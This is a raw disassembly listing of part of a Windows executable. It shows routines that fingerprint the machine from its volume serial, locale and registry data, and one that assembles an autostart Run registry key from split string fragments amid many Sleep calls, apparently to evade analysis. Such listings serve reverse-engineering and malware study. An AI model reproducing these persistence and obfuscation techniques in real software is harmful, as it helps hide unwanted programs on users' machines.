		lea	ecx, [ebp-78h]
		call	sub_426DB8
		mov	byte ptr [ebp-4], 7
		lea	ecx, [ebp-78h]


loc_424987:				; CODE XREF: sub_4245AA+35Ej
		call	sub_426ABF


loc_42498C:				; CODE XREF: sub_4245AA+2EFj
					; sub_4245AA+362j ...
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-24h]
		mov	byte ptr [ebp-4], 2
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-10h]
		call	sub_431642
		add	esi, 1400Ch
		dec	dword ptr [ebp-28h]
		jnz	loc_4245E4


loc_4249BF:				; CODE XREF: sub_4245AA+1Ej
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		mov	al, 1
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_4245AA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4249D2	proc near		; CODE XREF: sub_422C48+109p

var_12C		= dword	ptr -12Ch
var_128		= byte ptr -128h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 12Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		call	sub_422199
		pop	ecx
		push	[ebp+arg_4]
		call	dword_433048	; SetCurrentDirectoryA
		xor	esi, esi
		push	2
		push	esi
		push	[ebp+arg_0]
		call	sub_43110B
		mov	edi, eax
		lea	eax, [ebp+var_12C]
		push	eax
		push	0FFFFFFFFh
		push	edi
		call	sub_4311D8
		mov	ebx, [ebp+var_12C]
		add	esp, 18h
		test	ebx, ebx
		jle	short loc_424A43


loc_424A1B:				; CODE XREF: sub_4249D2+6Fj
		lea	eax, [ebp+var_12C]
		push	eax
		push	esi
		push	edi
		call	sub_4311D8
		push	2
		lea	eax, [ebp+var_128]
		push	0
		push	eax
		push	esi
		push	edi
		call	sub_4314C0
		add	esp, 20h
		inc	esi
		cmp	esi, ebx
		jl	short loc_424A1B


loc_424A43:				; CODE XREF: sub_4249D2+47j
		push	edi
		call	sub_43152B
		pop	ecx
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebx
		leave
		retn	8
sub_4249D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_424A53	proc near		; CODE XREF: sub_422C48+DAp
		mov	eax, offset loc_43202E
		call	sub_43176A	; _EH_prolog
		push	ecx
		push	ecx
		push	ebx
		push	esi
		xor	ebx, ebx
		push	8
		mov	[ebp-4], ebx
		call	sub_431624
		pop	ecx
		mov	ecx, eax
		mov	[ebp-14h], ecx
		cmp	ecx, ebx
		mov	byte ptr [ebp-4], 1
		jz	short loc_424A84
		call	sub_421000
		mov	esi, eax
		jmp	short loc_424A86
; ---------------------------------------------------------------------------


loc_424A84:				; CODE XREF: sub_424A53+26j
		xor	esi, esi


loc_424A86:				; CODE XREF: sub_424A53+2Fj
		mov	ecx, esi
		mov	[ebp-4], bl
		call	sub_42103D
		lea	eax, [ebp-10h]
		mov	ecx, esi
		push	eax
		push	dword ptr [ebp+8]
		call	sub_42146A
		mov	ecx, esi
		call	sub_4210DD
		cmp	esi, ebx
		jz	short loc_424AB1
		mov	eax, [esi]
		push	1
		mov	ecx, esi
		call	dword ptr [eax]


loc_424AB1:				; CODE XREF: sub_424A53+54j
		mov	eax, [ebp+0Ch]
		cmp	eax, [ebp-10h]
		jnz	short loc_424ABB
		mov	bl, 1


loc_424ABB:				; CODE XREF: sub_424A53+64j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+8]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	al, bl
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	8
sub_424A53	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AD9	proc near		; CODE XREF: sub_422C48+88p
					; sub_42334C+1Ap ...

arg_0		= byte ptr  4

		lea	ecx, [esp+arg_0]
		call	sub_431642
		retn	4
sub_424AD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_424AE5	proc near		; CODE XREF: sub_422A1E+E9p
		mov	eax, offset loc_432099
		call	sub_43176A	; _EH_prolog
		sub	esp, 3C8h
		push	ebx
		push	esi
		mov	[ebp-20h], ecx
		xor	esi, esi
		push	edi
		lea	ecx, [ebp-34h]
		mov	[ebp-40h], esi
		call	sub_43164E
		lea	ecx, [ebp-30h]
		mov	[ebp-4], esi
		call	sub_43164E
		mov	dx, ds:word_439CA4
		xor	eax, eax
		lea	edi, [ebp-5Ah]
		mov	[ebp-5Ch], dx
		stosd
		stosd
		stosd
		stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-66h]
		mov	[ebp-68h], dx
		push	40h
		stosd
		stosd
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-3D2h]
		mov	[ebp-3D4h], dx
		rep stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-46h]
		mov	[ebp-48h], dx
		push	40h
		stosw
		pop	ecx
		lea	edi, [ebp-1CAh]
		mov	[ebp-1CCh], dx
		mov	[ebp-18h], dx
		rep stosd
		stosw
		xor	eax, eax
		lea	edi, [ebp-16h]
		stosb
		lea	edi, [ebp-1Ah]
		mov	[ebp-1Ch], dx
		stosb
		lea	edi, [ebp-12h]
		mov	[ebp-14h], dx
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 1
		stosb
		mov	[ebp-2Ch], esi
		mov	byte ptr [ebp-21h], 1
		call	sub_43164E
		mov	esi, dword_4330E0
		push	22h
		mov	byte ptr [ebp-4], 2
		call	esi	; Sleep
		mov	edi, dword_4330CC
		lea	eax, [ebp-2D0h]
		push	offset a67f9158b ; "67F9158B"
		push	eax
		call	edi	; lstrcpyA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42309C
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_431642
		lea	eax, [ebp-2D0h]
		push	offset a39	; "39"
		push	eax
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		cmp	byte ptr [ebp+0Ch], 0
		mov	ebx, dword_433078
		jz	short loc_424C3F
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42309C
		push	dword ptr [eax]
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	ecx, [ebp-10h]
		call	sub_431642


loc_424C3F:				; CODE XREF: sub_424AE5+124j
		lea	eax, [ebp-3D4h]
		push	104h
		push	eax
		call	dword_4330D4	; GetWindowsDirectoryA
		xor	eax, eax
		mov	[ebp-10h], eax
		jmp	short loc_424C5B
; ---------------------------------------------------------------------------


loc_424C58:				; CODE XREF: sub_424AE5+18Bj
		mov	eax, [ebp-10h]


loc_424C5B:				; CODE XREF: sub_424AE5+171j
		mov	cl, [ebp+eax-3D4h]
		push	eax
		mov	[ebp+eax-48h], cl
		call	esi	; Sleep
		inc	dword ptr [ebp-10h]
		cmp	dword ptr [ebp-10h], 3
		jl	short loc_424C58
		xor	eax, eax
		lea	ecx, [ebp-40h]
		push	eax
		push	eax
		push	eax
		push	eax
		push	ecx
		push	eax
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		call	dword_4330B8	; GetVolumeInformationA
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-5Ch]
		push	10h
		push	eax
		push	dword ptr [ebp-40h]
		call	sub_42521F
		lea	eax, [ebp-2D0h]
		push	offset a67f9198b ; "67F9198B"
		push	eax
		call	edi	; lstrcpyA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42309C
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_431642
		push	dword ptr [ebp-40h]
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_43329C	; CharUpperA
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f240 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	22h
		call	esi	; Sleep
		push	80000002h
		push	1
		lea	eax, [ebp-2D0h]
		push	0
		push	eax
		call	dword_4330B4	; lstrlenA
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		push	ecx
		mov	ecx, [ebp-20h]
		call	sub_42309C
		lea	ecx, [ebp-0C8h]
		call	sub_426584
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-0C8h]
		call	sub_426816
		mov	[ebp-28h], eax
		lea	eax, [ebp-2D0h]
		push	offset a67f9158b ; "67F9158B"
		push	eax
		call	edi	; lstrcpyA
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-10h]
		push	eax
		call	sub_42309C
		push	dword ptr [eax]
		lea	eax, [ebp-3Ch]
		push	eax
		call	edi	; lstrcpyA
		lea	ecx, [ebp-10h]
		call	sub_431642
		push	dword ptr [ebp-28h]
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-1CCh]
		push	offset asc_437320 ; "-"
		push	eax
		call	ebx	; lstrcatA
		push	24h
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		call	dword_4330BC	; GetSystemDefaultLCID
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		lea	eax, [ebp-1CCh]
		push	offset asc_437320 ; "-"
		push	eax
		call	ebx	; lstrcatA
		push	2
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f2_0 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-2D0h]
		push	eax
		call	dword_4330B4	; lstrlenA
		mov	ecx, [ebp-20h]
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_42309C
		push	eax
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 4
		call	sub_431648
		mov	byte ptr [ebp-4], 3
		lea	ecx, [ebp-28h]
		call	sub_431642
		push	1
		call	esi	; Sleep
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-44h]
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431636
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 3
		call	sub_42692B
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-0A8h]
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_426D5C
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-30h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_431648
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		mov	eax, [ebp-30h]
		mov	eax, [eax-8]
		test	eax, eax
		jg	short loc_424F05
		mov	eax, [ebp-2Ch]
		mov	ecx, [ebp-20h]
		push	offset a000_0	; "-000"
		and	byte ptr [eax],	0
		lea	eax, [ebp-1CCh]
		push	eax
		call	sub_426491
		push	1
		call	esi	; Sleep
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-1CCh]
		push	offset a000	; "0-00"
		push	eax
		call	sub_426491
		jmp	loc_424F8D
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424AE5+3E7j
		push	eax
		lea	ecx, [ebp-30h]
		call	sub_431672
		mov	cl, [eax]
		mov	[ebp-2Ch], eax
		mov	[ebp-18h], cl
		mov	cl, [eax+1]
		and	byte ptr [ebp-16h], 0
		mov	[ebp-17h], cl
		mov	cl, [eax+3]
		push	offset asc_437320 ; "-"
		mov	[ebp-1Ch], cl
		mov	cl, [eax+4]
		and	byte ptr [ebp-1Ah], 0
		mov	[ebp-1Bh], cl
		mov	cl, [eax+6]
		mov	[ebp-14h], cl
		mov	al, [eax+7]
		and	byte ptr [ebp-12h], 0
		mov	[ebp-13h], al
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-1CCh]
		push	offset asc_437320 ; "-"
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	0FFFFFFFFh
		lea	ecx, [ebp-30h]
		call	sub_43166C


loc_424F8D:				; CODE XREF: sub_424AE5+41Bj
		lea	eax, [ebp-2D0h]
		push	offset a0a887397a5f2_1 ; "0A887397A5F240675EEF4D35019B6883A6FA5D6"...
		push	eax
		call	edi	; lstrcpyA
		push	23h
		call	esi	; Sleep
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-28h], esp
		push	offset byte_439CA0
		call	sub_43162A
		lea	eax, [ebp-2D0h]
		mov	byte ptr [ebp-4], 8
		push	eax
		call	dword_4330B4	; lstrlenA
		push	ecx
		mov	ecx, esp
		mov	[ebp-10h], esp
		push	eax
		lea	eax, [ebp-2D0h]
		push	eax
		push	ecx
		mov	ecx, [ebp-20h]
		call	sub_42309C
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 6
		call	sub_42692B
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-88h]
		push	eax
		mov	byte ptr [ebp-4], 9
		call	sub_426D5C
		lea	eax, [ebp-10h]
		lea	ecx, [ebp-34h]
		push	eax
		mov	byte ptr [ebp-4], 0Ah
		call	sub_431648
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 9
		call	sub_431642
		mov	eax, [ebp-34h]
		mov	eax, [eax-8]
		test	eax, eax
		mov	[ebp-28h], eax
		jle	loc_4250B7
		push	1
		call	esi	; Sleep
		push	dword ptr [ebp-28h]
		lea	ecx, [ebp-34h]
		call	sub_431672
		mov	[ebp-2Ch], eax
		mov	al, [eax]
		push	1
		mov	[ebp-18h], al
		call	esi	; Sleep
		mov	eax, [ebp-2Ch]
		push	1
		mov	cl, [eax+1]
		and	byte ptr [ebp-16h], 0
		mov	[ebp-17h], cl
		mov	cl, [eax+3]
		mov	[ebp-1Ch], cl
		mov	cl, [eax+4]
		and	byte ptr [ebp-1Ah], 0
		mov	[ebp-1Bh], cl
		mov	al, [eax+6]
		mov	[ebp-14h], al
		call	esi	; Sleep
		mov	eax, [ebp-2Ch]
		push	1
		mov	al, [eax+7]
		and	byte ptr [ebp-12h], 0
		mov	[ebp-13h], al
		call	esi	; Sleep
		lea	eax, [ebp-18h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		push	0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_43166C
		jmp	short loc_4250E2
; ---------------------------------------------------------------------------


loc_4250B7:				; CODE XREF: sub_424AE5+542j
		push	0
		push	dword ptr [ebp-2Ch]
		call	edi	; lstrcpyA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1CCh]
		push	offset a000_1	; "000"
		push	eax
		call	ebx	; lstrcatA
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-1CCh]
		push	offset a001	; "001"
		push	eax
		call	ebx	; lstrcatA


loc_4250E2:				; CODE XREF: sub_424AE5+5D0j
		lea	eax, [ebp-68h]
		push	104h
		push	eax
		push	5
		push	400h
		call	dword_4330C0	; GetLocaleInfoA
		push	27h
		call	esi	; Sleep
		mov	ecx, [ebp-20h]
		lea	eax, [ebp-68h]
		push	eax
		call	sub_4251CE
		push	eax
		lea	eax, [ebp-3Ch]
		push	eax
		lea	eax, [ebp-5Ch]
		push	eax
		call	dword_433298	; wsprintfA
		add	esp, 0Ch
		push	1
		call	esi	; Sleep
		lea	eax, [ebp-5Ch]
		push	eax
		lea	eax, [ebp-1CCh]
		push	eax
		call	ebx	; lstrcatA
		cmp	byte ptr [ebp+0Ch], 0
		jz	short loc_42513F
		lea	eax, [ebp-1CCh]
		push	offset asc_437258 ; "}"
		push	eax
		call	ebx	; lstrcatA


loc_42513F:				; CODE XREF: sub_424AE5+64Aj
		lea	eax, [ebp-1CCh]
		push	eax
		push	dword ptr [ebp+8]
		call	edi	; lstrcpyA
		push	dword ptr [ebp+8]
		call	dword_4330B4	; lstrlenA
		movzx	ecx, byte ptr [ebp+0Ch]
		shl	ecx, 1
		sub	eax, ecx
		cmp	eax, 24h
		jz	short loc_425165
		and	byte ptr [ebp-21h], 0


loc_425165:				; CODE XREF: sub_424AE5+67Aj
		push	26h
		call	esi	; Sleep
		lea	ecx, [ebp-88h]
		mov	byte ptr [ebp-4], 6
		call	sub_426ABF
		lea	ecx, [ebp-0A8h]
		mov	byte ptr [ebp-4], 3
		call	sub_426ABF
		lea	ecx, [ebp-0C8h]
		mov	byte ptr [ebp-4], 2
		call	sub_4266D6
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-30h]
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-34h]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		mov	al, [ebp-21h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	8
sub_424AE5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4251CE	proc near		; CODE XREF: sub_424AE5+61Ep

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		xor	esi, esi
		xor	dl, dl


loc_4251D7:				; CODE XREF: sub_4251CE+Fj
		cmp	byte ptr [eax],	20h
		jnz	short loc_4251DF
		inc	eax
		jmp	short loc_4251D7
; ---------------------------------------------------------------------------


loc_4251DF:				; CODE XREF: sub_4251CE+Cj
		mov	cl, [eax]
		cmp	cl, 2Bh
		jz	short loc_4251ED
		cmp	cl, 2Dh
		jnz	short loc_4251EE
		mov	dl, 1


loc_4251ED:				; CODE XREF: sub_4251CE+16j
					; sub_4251CE+3Aj
		inc	eax


loc_4251EE:				; CODE XREF: sub_4251CE+1Bj
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42520A
		cmp	cl, 30h
		jl	short loc_42520A
		cmp	cl, 39h
		jg	short loc_42520A
		movsx	ecx, cl
		lea	esi, [esi+esi*4]
		lea	esi, [ecx+esi*2-30h]
		jmp	short loc_4251ED
; ---------------------------------------------------------------------------


loc_42520A:				; CODE XREF: sub_4251CE+24j
					; sub_4251CE+29j ...
		cmp	dl, 1
		jnz	short loc_425211
		neg	esi


loc_425211:				; CODE XREF: sub_4251CE+3Fj
		push	24h
		call	dword_4330E0	; Sleep
		mov	eax, esi
		pop	esi
		retn	4
sub_4251CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42521F	proc near		; CODE XREF: sub_424AE5+1AFp

var_84		= byte ptr -84h
var_83		= byte ptr -83h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 84h
		push	ebx
		push	esi
		push	edi
		push	1Fh
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_83]
		push	1
		rep stosd
		stosw
		stosb
		pop	edi
		xor	esi, esi
		push	edi
		mov	[ebp+var_4], esi
		call	dword_4330E0	; Sleep
		cmp	[ebp+arg_0], esi
		mov	ebx, [ebp+arg_4]
		jnz	short loc_42525B
		dec	[ebp+arg_8]
		mov	byte ptr [ebx],	30h
		mov	[ebp+var_4], edi


loc_42525B:				; CODE XREF: sub_42521F+31j
		and	[ebp+var_84], 0
		cmp	[ebp+arg_0], 0
		jz	short loc_42529F


loc_425268:				; CODE XREF: sub_42521F+7Bj
		mov	eax, [ebp+arg_0]
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		lea	edi, [ebp+esi+var_84]
		push	1
		mov	ebx, edx
		mov	[edi], bl
		call	dword_4330E0	; Sleep
		mov	eax, [ebp+arg_0]
		push	0Ah
		xor	edx, edx
		pop	ecx
		div	ecx
		add	bl, 30h
		inc	esi
		mov	[edi], bl
		test	eax, eax
		mov	[ebp+arg_0], eax
		jnz	short loc_425268
		mov	ebx, [ebp+arg_4]


loc_42529F:				; CODE XREF: sub_42521F+47j
		mov	ecx, [ebp+arg_8]
		cmp	ecx, esi
		jle	short loc_4252C7
		sub	ecx, esi
		lea	edi, [ebp+esi+var_84]
		mov	[ebp+arg_0], ecx
		mov	edx, ecx
		mov	eax, 30303030h
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		add	esi, edx
		rep stosb


loc_4252C7:				; CODE XREF: sub_42521F+85j
		dec	esi
		js	short loc_4252DF


loc_4252CA:				; CODE XREF: sub_42521F+BEj
		mov	al, [ebp+esi+var_84]
		mov	ecx, [ebp+var_4]
		dec	esi
		inc	[ebp+var_4]
		test	esi, esi
		mov	[ecx+ebx], al
		jge	short loc_4252CA


loc_4252DF:				; CODE XREF: sub_42521F+A9j
		mov	eax, [ebp+var_4]
		push	7
		and	byte ptr [eax+ebx], 0
		call	dword_4330E0	; Sleep
		pop	edi
		mov	eax, ebx
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_42521F	endp


; =============== S U B	R O U T	I N E =======================================



sub_4252F7	proc near		; CODE XREF: sub_425FC6+199p
		mov	eax, offset loc_4320F4
		call	sub_43176A	; _EH_prolog
		sub	esp, 38h
		push	esi
		push	edi
		mov	edi, ecx
		lea	ecx, [ebp-10h]
		mov	dword ptr [ebp-4], 1
		call	sub_43164E
		push	offset aSoftwareMicros ; "SOFTWARE\\Microso"
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 2
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset aFtWindowsCurre ; "ft\\Windows\\Curren"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aTversionR ; "tVersion\\R"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aUnRu	; "un\\ru"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	22h
		call	esi	; Sleep
		push	offset aNner1	; "nner1"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000002h
		push	1
		push	ecx
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	offset aDefaultvalue ; "defaultvalue"
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-1Ch], esp
		push	eax
		mov	byte ptr [ebp-4], 3
		call	sub_431636
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 2
		call	sub_42692B
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_43164E
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_43164E
		lea	eax, [ebp-1Ch]
		lea	ecx, [ebp-44h]
		push	eax
		mov	byte ptr [ebp-4], 6
		call	sub_426D5C
		lea	eax, [ebp-1Ch]
		lea	ecx, [ebp-18h]
		push	eax
		mov	byte ptr [ebp-4], 7
		call	sub_431648
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		lea	eax, [ebp+8]
		push	offset asc_4373A8 ; " "
		push	eax
		lea	eax, [ebp-20h]
		push	eax
		call	sub_43165A
		lea	ecx, [ebp+0Ch]
		mov	byte ptr [ebp-4], 8
		push	ecx
		push	eax
		lea	eax, [ebp-1Ch]
		push	eax
		call	sub_431654
		push	eax
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 9
		call	sub_431648
		lea	ecx, [ebp-1Ch]
		mov	byte ptr [ebp-4], 8
		call	sub_431642
		lea	ecx, [ebp-20h]
		mov	byte ptr [ebp-4], 6
		call	sub_431642
		push	dword ptr [ebp-14h]
		push	dword ptr [ebp-18h]
		call	dword_433204	; _mbscmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_42545E
		push	ecx
		lea	eax, [ebp-14h]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		call	sub_431636
		lea	ecx, [ebp-44h]
		call	sub_426DB8


loc_42545E:				; CODE XREF: sub_4252F7+14Ej
		push	ecx
		lea	eax, [ebp+0Ch]
		mov	ecx, esp
		mov	[ebp-24h], esp
		push	eax
		call	sub_431636
		mov	ecx, edi
		call	sub_425AD2
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 5
		call	sub_431642
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		lea	ecx, [ebp-44h]
		mov	byte ptr [ebp-4], 2
		call	sub_426ABF
		lea	ecx, [ebp-10h]
		mov	byte ptr [ebp-4], 1
		call	sub_431642
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp+8]
		call	sub_431642
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp+0Ch]
		call	sub_431642
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	al, 1
		mov	large fs:0, ecx
		pop	esi
		leave
		retn	8
sub_4252F7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4254CE	proc near		; CODE XREF: sub_42852F+23Fp
		mov	eax, offset loc_43213F
		call	sub_43176A	; _EH_prolog
		sub	esp, 34h
		and	dword ptr [ebp-1Ch], 0
		push	ebx
		push	esi
		lea	ecx, [ebp-10h]
		call	sub_43164E
		push	1
		lea	ecx, [ebp-10h]
		pop	ebx
		push	offset aWr	; "WR"
		mov	[ebp-4], ebx
		call	sub_43163C
		mov	esi, dword_4330E0
		push	24h
		call	esi	; Sleep
		push	offset dword_43710C
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	23h
		call	esi	; Sleep
		push	offset aConfi	; "confi"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	23h
		call	esi	; Sleep
		push	offset aGversion ; "gversion"
		lea	ecx, [ebp-10h]
		call	sub_431678
		push	80000000h
		push	ebx
		push	ecx
		mov	ecx, esp
		mov	[ebp-18h], esp
		push	offset byte_439CA0
		call	sub_43162A
		push	ecx
		lea	eax, [ebp-10h]
		mov	ecx, esp
		mov	[ebp-20h], esp
		push	eax
		mov	byte ptr [ebp-4], 2
		call	sub_431636
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_42692B
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_43164E
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-40h]
		push	eax
		mov	byte ptr [ebp-4], 4
		call	sub_426D5C
		lea	eax, [ebp-18h]
		lea	ecx, [ebp-14h]
		push	eax
		mov	byte ptr [ebp-4], 5
		call	sub_431648
		lea	ecx, [ebp-18h]
		mov	byte ptr [ebp-4], 4
		call	sub_431642
		mov	ecx, [ebp+8]
		lea	eax, [ebp-14h]
		push	eax
		call	sub_431636
		mov	[ebp-1Ch], ebx
		lea	ecx, [ebp-14h]
		mov	byte ptr [ebp-4], 3
		call	sub_431642
		lea	ecx, [ebp-40h]
		mov	[ebp-4], bl
		call	sub_426ABF
		and	byte ptr [ebp-4], 0
		lea	ecx, [ebp-10h]
		call	sub_431642
		mov	eax, [ebp+8]
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		leave
		retn	4
sub_4254CE	endp


; =============== S U B	R O U T	I N E =======================================



sub_4255E6	proc near		; CODE XREF: sub_4294E5+6Ep
					; sub_4294E5+12Bp ...
		mov	eax, offset loc_43215C
		call	sub_43176A	; _EH_prolog
		sub	esp, 28h
		push	esi
		push	edi
		lea	ecx, [ebp-10h]
		call	sub_43164E
		and	dword ptr [ebp-4], 0
